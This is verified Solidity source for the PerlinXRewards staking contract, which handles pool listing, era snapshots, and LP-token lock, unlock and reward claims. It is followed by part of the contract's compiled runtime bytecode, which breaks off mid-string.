0x6548b06acbc1b7674a8a5a2ea6787ed54ef6d438
/** *Submitted for verification at Etherscan.io on 2020-08-11 */ //SPDX-License-Identifier: Unlicense pragma solidity 0.6.8; // ERC20 Interface interface ERC20 { function transfer(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); function balanceOf(address account) external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract PerlinXRewards { using SafeMath for uint256; uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; address public PERL; address public treasury; address[] public arrayAdmins; address[] public arrayPerlinPools; address[] public arraySynths; address[] public arrayMembers; uint256 public currentEra; mapping(address => bool) public isAdmin; // Tracks admin status mapping(address => bool) public poolIsListed; // Tracks current listing status mapping(address => bool) public poolHasMembers; // Tracks current staking status mapping(address => bool) public poolWasListed; // Tracks if pool was ever listed mapping(address => uint256) public mapAsset_Rewards; // Maps rewards for each asset (PERL, BAL, UNI etc) mapping(address => uint256) public poolWeight; // Allows a reward weight to be applied; 100 = 1.0 mapping(uint256 => uint256) public mapEra_Total; // Total PERL staked in each era mapping(uint256 => bool) public eraIsOpen; // Era is open of collecting rewards mapping(uint256 => mapping(address => uint256)) public mapEraAsset_Reward; // Reward allocated for era mapping(uint256 => mapping(address => uint256)) public mapEraPool_Balance; // Perls in each pool, per era mapping(uint256 => mapping(address => uint256)) public mapEraPool_Share; // Share of reward for each pool, per era mapping(uint256 => mapping(address => uint256)) public mapEraPool_Claims; // Total LP tokens locked for each pool, per era mapping(address => address) public mapPool_Asset; // Uniswap pools provide liquidity to non-PERL asset mapping(address => address) public mapSynth_EMP; // Synthetic Assets have a management contract mapping(address => bool) public isMember; // Is Member mapping(address => uint256) public mapMember_poolCount; // Total number of Pools member is in mapping(address => address[]) public mapMember_arrayPools; // Array of pools for member mapping(address => mapping(address => uint256)) public mapMemberPool_Balance; // Member's balance in pool mapping(address => mapping(address => bool)) public mapMemberPool_Added; // Member's balance in pool mapping(address => mapping(uint256 => bool)) public mapMemberEra_hasRegistered; // Member has registered mapping(address => mapping(uint256 => mapping(address => uint256))) public mapMemberEraPool_Claim; // Value of claim per pool, per era mapping(address => mapping(uint256 => mapping(address => bool))) public mapMemberEraAsset_hasClaimed; // Boolean claimed // Events event Snapshot( address indexed admin, uint256 indexed era, uint256 rewardForEra, uint256 perlTotal, uint256 validPoolCount, uint256 validMemberCount, uint256 date ); event NewPool( address indexed admin, address indexed pool, address indexed asset, uint256 assetWeight ); event NewSynth( address indexed pool, address indexed synth, address indexed expiringMultiParty ); event MemberLocks( address indexed member, address indexed pool, uint256 amount, uint256 indexed currentEra ); event MemberUnlocks( address indexed member, address indexed pool, uint256 balance, uint256 indexed currentEra ); event MemberRegisters( address indexed member, address indexed pool, uint256 amount, uint256 indexed currentEra ); event MemberClaims(address indexed member, uint256 indexed era, uint256 totalClaim); // Only Admin can execute modifier onlyAdmin() { require(isAdmin[msg.sender], "Must be Admin"); _; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } constructor() public { arrayAdmins.push(msg.sender); isAdmin[msg.sender] = true; PERL = 0xb5A73f5Fc8BbdbcE59bfD01CA8d35062e0dad801; treasury = 0x7786B620937af5F6F24Bf4fefA4ab7c544a59Ca6; currentEra = 1; _status = _NOT_ENTERED; } //==============================ADMIN================================// // Lists a synth and its parent EMP address function listSynth( address pool, address synth, address emp, uint256 weight ) public onlyAdmin { require(emp != address(0), "Must pass address validation"); if (!poolWasListed[pool]) { arraySynths.push(synth); // Add new synth } listPool(pool, synth, weight); // List like normal pool mapSynth_EMP[synth] = emp; // Maps the EMP contract for look-up emit NewSynth(pool, synth, emp); } // Lists a pool and its non-PERL asset (can work for Balance or Uniswap V2) // Use "100" to be a normal weight of "1.0" function listPool( address pool, address asset, uint256 weight ) public onlyAdmin { require( (asset != PERL) && (asset != address(0)) && (pool != address(0)), "Must pass address validation" ); require( weight >= 10 && weight <= 1000, "Must be greater than 0.1, less than 10" ); if (!poolWasListed[pool]) { arrayPerlinPools.push(pool); } poolIsListed[pool] = true; // Tracking listing poolWasListed[pool] = true; // Track if ever was listed poolWeight[pool] = weight; // Note: weight of 120 = 1.2 mapPool_Asset[pool] = asset; // Map the pool to its non-perl asset emit NewPool(msg.sender, pool, asset, weight); } function delistPool(address pool) public onlyAdmin { poolIsListed[pool] = false; } // Quorum Action 1 function addAdmin(address newAdmin) public onlyAdmin { require( (isAdmin[newAdmin] == false) && (newAdmin != address(0)), "Must pass address validation" ); arrayAdmins.push(newAdmin); isAdmin[newAdmin] = true; } function transferAdmin(address newAdmin) public onlyAdmin { require( (isAdmin[newAdmin] == false) && (newAdmin != address(0)), "Must pass address validation" ); arrayAdmins.push(newAdmin); isAdmin[msg.sender] = false; isAdmin[newAdmin] = true; } // Snapshot a new Era, allocating any new rewards found on the address, increment Era // Admin should send reward funds first function snapshot(address rewardAsset) public onlyAdmin { snapshotInEra(rewardAsset, currentEra); // Snapshots PERL balances currentEra = currentEra.add(1); // Increment the eraCount, so users can't register in a previous era. } // Snapshot a particular rewwardAsset, but don't increment Era (like Balancer Rewards) // Do this after snapshotPools() function snapshotInEra(address rewardAsset, uint256 era) public onlyAdmin { uint256 start = 0; uint256 end = poolCount(); snapshotInEraWithOffset(rewardAsset, era, start, end); } // Snapshot with offset (in case runs out of gas) function snapshotWithOffset( address rewardAsset, uint256 start, uint256 end ) public onlyAdmin { snapshotInEraWithOffset(rewardAsset, currentEra, start, end); // Snapshots PERL balances currentEra = currentEra.add(1); // Increment the eraCount, so users can't register in a previous era. } // Snapshot a particular rewwardAsset, with offset function snapshotInEraWithOffset( address rewardAsset, uint256 era, uint256 start, uint256 end ) public onlyAdmin { require(rewardAsset != address(0), "Address must not be 0x0"); require( (era >= currentEra - 1) && (era <= currentEra), "Must be current or previous era only" ); uint256 amount = ERC20(rewardAsset).balanceOf(address(this)).sub( mapAsset_Rewards[rewardAsset] ); require(amount > 0, "Amount must be non-zero"); mapAsset_Rewards[rewardAsset] = mapAsset_Rewards[rewardAsset].add( amount ); mapEraAsset_Reward[era][rewardAsset] = mapEraAsset_Reward[era][rewardAsset] .add(amount); eraIsOpen[era] = true; updateRewards(era, amount, start, end); // Snapshots PERL balances } // Note, due to EVM gas limits, poolCount should be less than 100 to do this before running out of gas function updateRewards( uint256 era, uint256 rewardForEra, uint256 start, uint256 end ) internal { // First snapshot balances of each pool uint256 perlTotal; uint256 validPoolCount; uint256 validMemberCount; for (uint256 i = start; i < end; i++) { address pool = arrayPerlinPools[i]; if (poolIsListed[pool] && poolHasMembers[pool]) { validPoolCount = validPoolCount.add(1); uint256 weight = poolWeight[pool]; uint256 weightedBalance = ( ERC20(PERL).balanceOf(pool).mul(weight)).div(100); // (depth * weight) / 100 perlTotal = perlTotal.add(weightedBalance); mapEraPool_Balance[era][pool] = weightedBalance; } } mapEra_Total[era] = perlTotal; // Then snapshot share of the reward for the era for (uint256 i = start; i < end; i++) { address pool = arrayPerlinPools[i]; if (poolIsListed[pool] && poolHasMembers[pool]) { validMemberCount = validMemberCount.add(1); uint256 part = mapEraPool_Balance[era][pool]; mapEraPool_Share[era][pool] = getShare( part, perlTotal, rewardForEra ); } } emit Snapshot( msg.sender, era, rewardForEra, perlTotal, validPoolCount, validMemberCount, now ); } // Quorum Action // Remove unclaimed rewards and disable era for claiming function removeReward(uint256 era, address rewardAsset) public onlyAdmin { uint256 amount = mapEraAsset_Reward[era][rewardAsset]; mapEraAsset_Reward[era][rewardAsset] = 0; mapAsset_Rewards[rewardAsset] = mapAsset_Rewards[rewardAsset].sub( amount ); eraIsOpen[era] = false; require( ERC20(rewardAsset).transfer(treasury, amount), "Must transfer" ); } // Quorum Action - Reuses adminApproveEraAsset() logic since unlikely to collide // Use in anger to sweep off assets (such as accidental airdropped tokens) function sweep(address asset, uint256 amount) public onlyAdmin { require( ERC20(asset).transfer(treasury, amount), "Must transfer" ); } //============================== USER - LOCK/UNLOCK ================================// // Member locks some LP tokens function lock(address pool, uint256 amount) public nonReentrant { require(poolIsListed[pool] == true, "Must be listed"); if (!isMember[msg.sender]) { // Add new member arrayMembers.push(msg.sender); isMember[msg.sender] = true; } if (!poolHasMembers[pool]) { // Records existence of member poolHasMembers[pool] = true; } if (!mapMemberPool_Added[msg.sender][pool]) { // Record all the pools member is in mapMember_poolCount[msg.sender] = mapMember_poolCount[msg.sender] .add(1); mapMember_arrayPools[msg.sender].push(pool); mapMemberPool_Added[msg.sender][pool] = true; } require( ERC20(pool).transferFrom(msg.sender, address(this), amount), "Must transfer" ); // Uni/Bal LP tokens return bool mapMemberPool_Balance[msg.sender][pool] = mapMemberPool_Balance[msg.sender][pool] .add(amount); // Record total pool balance for member registerClaim(msg.sender, pool, amount); // Register claim emit MemberLocks(msg.sender, pool, amount, currentEra); } // Member unlocks all from a pool function unlock(address pool) public nonReentrant { uint256 balance = mapMemberPool_Balance[msg.sender][pool]; require(balance > 0, "Must have a balance to claim"); mapMemberPool_Balance[msg.sender][pool] = 0; // Zero out balance require(ERC20(pool).transfer(msg.sender, balance), "Must transfer"); // Then transfer if (ERC20(pool).balanceOf(address(this)) == 0) { poolHasMembers[pool] = false; // If nobody is staking any more } emit MemberUnlocks(msg.sender, pool, balance, currentEra); } //============================== USER - CLAIM================================// // Member registers claim in a single pool function registerClaim( address member, address pool, uint256 amount ) internal { mapMemberEraPool_Claim[member][currentEra][pool] += amount; mapEraPool_Claims[currentEra][pool] = mapEraPool_Claims[currentEra][pool] .add(amount); emit MemberRegisters(member, pool, amount, currentEra); } // Member registers claim in all pools function registerAllClaims(address member) public { require( mapMemberEra_hasRegistered[msg.sender][currentEra] == false, "Must not have registered in this era already" ); for (uint256 i = 0; i < mapMember_poolCount[member]; i++) { address pool = mapMember_arrayPools[member][i]; // first deduct any previous claim mapEraPool_Claims[currentEra][pool] = mapEraPool_Claims[currentEra][pool] .sub(mapMemberEraPool_Claim[member][currentEra][pool]); uint256 amount = mapMemberPool_Balance[member][pool]; // then get latest balance mapMemberEraPool_Claim[member][currentEra][pool] = amount; // then update the claim mapEraPool_Claims[currentEra][pool] = mapEraPool_Claims[currentEra][pool] .add(amount); // then add to total emit MemberRegisters(member, pool, amount, currentEra); } mapMemberEra_hasRegistered[msg.sender][currentEra] = true; } // Member claims in a era function claim(uint256 era, address rewardAsset) public nonReentrant { require( mapMemberEraAsset_hasClaimed[msg.sender][era][rewardAsset] == false, "Reward asset must not have been claimed" ); require(eraIsOpen[era], "Era must be opened"); uint256 totalClaim = checkClaim(msg.sender, era); if (totalClaim > 0) { mapMemberEraAsset_hasClaimed[msg.sender][era][rewardAsset] = true; // Register claim mapEraAsset_Reward[era][rewardAsset] = mapEraAsset_Reward[era][rewardAsset] .sub(totalClaim); // Decrease rewards for that era mapAsset_Rewards[rewardAsset] = mapAsset_Rewards[rewardAsset].sub( totalClaim ); // Decrease rewards in total require( ERC20(rewardAsset).transfer(msg.sender, totalClaim), "Must transfer" ); // Then transfer } emit MemberClaims(msg.sender, era, totalClaim); if (mapMemberEra_hasRegistered[msg.sender][currentEra] == false) { registerAllClaims(msg.sender); // Register another claim } } // Member checks claims in all pools function checkClaim(address member, uint256 era) public view returns (uint256 totalClaim) { for (uint256 i = 0; i < mapMember_poolCount[member]; i++) { address pool = mapMember_arrayPools[member][i]; totalClaim += checkClaimInPool(member, era, pool); } return totalClaim; } // Member checks claim in a single pool function checkClaimInPool( address member, uint256 era, address pool ) public view returns (uint256 claimShare) { uint256 poolShare = mapEraPool_Share[era][pool]; // Requires admin snapshotting for era first, else 0 uint256 memberClaimInEra = mapMemberEraPool_Claim[member][era][pool]; // Requires member registering claim in the era uint256 totalClaimsInEra = mapEraPool_Claims[era][pool]; // Sum of all claims in a era if (totalClaimsInEra > 0) { // Requires non-zero balance of the pool tokens claimShare = getShare( memberClaimInEra, totalClaimsInEra, poolShare ); } else { claimShare = 0; } return claimShare; } //==============================UTILS================================// // Get the share of a total function getShare( uint256 part, uint256 total, uint256 amount ) public pure returns (uint256 share) { return (amount.mul(part)).div(total); } function adminCount() public view returns (uint256) { return arrayAdmins.length; } function poolCount() public view returns (uint256) { return arrayPerlinPools.length; } function synthCount() public view returns (uint256) { return arraySynths.length; } function memberCount() public view returns (uint256) { return arrayMembers.length; } }
0x608060405234801561001057600080fd5b50600436106102f15760003560e01c806361d027b31161019d578063a230c524116100e9578063e4ebdfa5116100a2578063ed06d4e21161007c578063ed06d4e21461132e578063f525cb68146113b4578063f96e9ea1146113d2578063fa8f382a14611434576102f1565b8063e4ebdfa5146111ec578063eb76595514611268578063ec7d7199146112d6576102f1565b8063a230c52414610fec578063baff15ce14611048578063c251adeb146110b6578063ce110e4b14611100578063ddd5e1b214611158578063e07dbfbd146111a6576102f1565b806378a45a241161015657806387e2662e1161013057806387e2662e14610e965780638b5e608b14610ef2578063973628f614610f4a578063a19d164614610f68576102f1565b806378a45a2414610dd85780637f2277b414610df6578063845696b414610e52576102f1565b806361d027b314610c1457806369b3039814610c5e5780636ea056a914610cb45780637048027514610d0257806371586b1f14610d4657806375829def14610d94576102f1565b8063322e26041161025c5780634445c1ea116102155780634a5cab98116101ef5780634a5cab9814610a885780634dd85b5e14610ad6578063522cff2514610b385780635976c67c14610b90576102f1565b80634445c1ea1461093657806344d3d337146109a457806344d7e45514610a06576102f1565b8063322e26041461067057806332bc68be146106d25780633d23e24a146107405780633e66034f146107b8578063429d7e8f1461083a578063436f80be146108c8576102f1565b8063282d3fdf116102ae578063282d3fdf146104b45780632b7832b3146105025780632f6c493c14610520578063306faf4a1461056457806331405c03146105a85780633224e2f21461060e576102f1565b80630382ad26146102f657806311aee3801461035857806316d534711461037657806324d7806c146103d2578063265121601461042e57806326b8052914610472575b600080fd5b6103426004803603604081101561030c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114c2565b6040518082815260200191505060405180910390f35b6103606115b1565b6040518082815260200191505060405180910390f35b6103b86004803603602081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115be565b604051808215151515815260200191505060405180910390f35b610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115de565b604051808215151515815260200191505060405180910390f35b6104706004803603602081101561044457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115fe565b005b61049e6004803603602081101561048857600080fd5b81019080803590602001909291905050506116e8565b6040518082815260200191505060405180910390f35b610500600480360360408110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611700565b005b61050a611f4e565b6040518082815260200191505060405180910390f35b6105626004803603602081101561053657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f5b565b005b6105a66004803603602081101561057a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612416565b005b6105f4600480360360408110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612530565b604051808215151515815260200191505060405180910390f35b61066e6004803603608081101561062457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919050505061255f565b005b6106bc6004803603604081101561068657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a3b565b6040518082815260200191505060405180910390f35b6106fe600480360360208110156106e857600080fd5b8101908080359060200190929190505050612a60565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107a26004803603604081101561075657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a9c565b6040518082815260200191505060405180910390f35b610824600480360360608110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ac1565b6040518082815260200191505060405180910390f35b6108c66004803603608081101561085057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c2b565b005b6108f4600480360360208110156108de57600080fd5b8101908080359060200190929190505050612f42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109626004803603602081101561094c57600080fd5b8101908080359060200190929190505050612f7e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109f0600480360360408110156109ba57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fba565b6040518082815260200191505060405180910390f35b610a7260048036036060811015610a1c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fdf565b6040518082815260200191505060405180910390f35b610ad460048036036040811015610a9e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613011565b005b610b2260048036036040811015610aec57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130f3565b6040518082815260200191505060405180910390f35b610b7a60048036036020811015610b4e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613118565b6040518082815260200191505060405180910390f35b610bd260048036036020811015610ba657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613130565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c1c613163565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c9e60048036036060811015610c7457600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050613189565b6040518082815260200191505060405180910390f35b610d0060048036036040811015610cca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506131b9565b005b610d4460048036036020811015610d1857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133d2565b005b610d9260048036036040811015610d5c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061364e565b005b610dd660048036036020811015610daa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506139d4565b005b610de0613ca8565b6040518082815260200191505060405180910390f35b610e3860048036036020811015610e0c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613cb5565b604051808215151515815260200191505060405180910390f35b610e9460048036036020811015610e6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613cd5565b005b610ed860048036036020811015610eac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614257565b604051808215151515815260200191505060405180910390f35b610f3460048036036020811015610f0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614277565b6040518082815260200191505060405180910390f35b610f5261428f565b6040518082815260200191505060405180910390f35b610faa60048036036020811015610f7e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614295565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61102e6004803603602081101561100257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506142c8565b604051808215151515815260200191505060405180910390f35b6110b46004803603606081101561105e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506142e8565b005b6110be6147ed565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6111426004803603602081101561111657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614813565b6040518082815260200191505060405180910390f35b6111a46004803603604081101561116e57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061482b565b005b6111d2600480360360208110156111bc57600080fd5b8101908080359060200190929190505050614e46565b604051808215151515815260200191505060405180910390f35b61124e6004803603604081101561120257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614e66565b604051808215151515815260200191505060405180910390f35b6112946004803603602081101561127e57600080fd5b8101908080359060200190929190505050614e95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61132c600480360360608110156112ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050614ed1565b005b61139a6004803603606081101561134457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614fbf565b604051808215151515815260200191505060405180910390f35b6113bc614ffb565b6040518082815260200191505060405180910390f35b61141e600480360360408110156113e857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050615008565b6040518082815260200191505060405180910390f35b6114806004803603604081101561144a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061502d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600090505b601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156115a7576000601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061155d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611595858583612ac1565b830192505080806001019150506114ca565b5080905092915050565b6000600680549050905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6116c981600754613011565b6116df600160075461507890919063ffffffff16565b60078190555050565b600e6020528060005260406000206000915090505481565b60026000541415611779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260008190555060011515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4d757374206265206c697374656400000000000000000000000000000000000081525060200191505060405180910390fd5b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611954576006339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119fe576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c5857611adf6001601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611d1357600080fd5b505af1158015611d27573d6000803e3d6000fd5b505050506040513d6020811015611d3d57600080fd5b8101908080519060200190929190505050611dc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b611e4f81601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eda338383615100565b6007548273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f26c1d455ed5e9a313ff262b6cd70a49110f54a2a68591881424ade0176624983846040518082815260200191505060405180910390a460016000819055505050565b6000600380549050905090565b60026000541415611fd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026000819055506000601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081116120d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374206861766520612062616c616e636520746f20636c61696d0000000081525060200191505060405180910390fd5b6000601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156121dc57600080fd5b505af11580156121f0573d6000803e3d6000fd5b505050506040513d602081101561220657600080fd5b8101908080519060200190929190505050612289576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561230857600080fd5b505afa15801561231c573d6000803e3d6000fd5b505050506040513d602081101561233257600080fd5b810190808051906020019092919050505014156123a2576000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6007548273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffc457b903eae2c3f6e2d259cccaae44e68f974c0c77dda2f7877aa4ed140d5c6846040518082815260200191505060405180910390a450600160008190555050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166124d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601b60205281600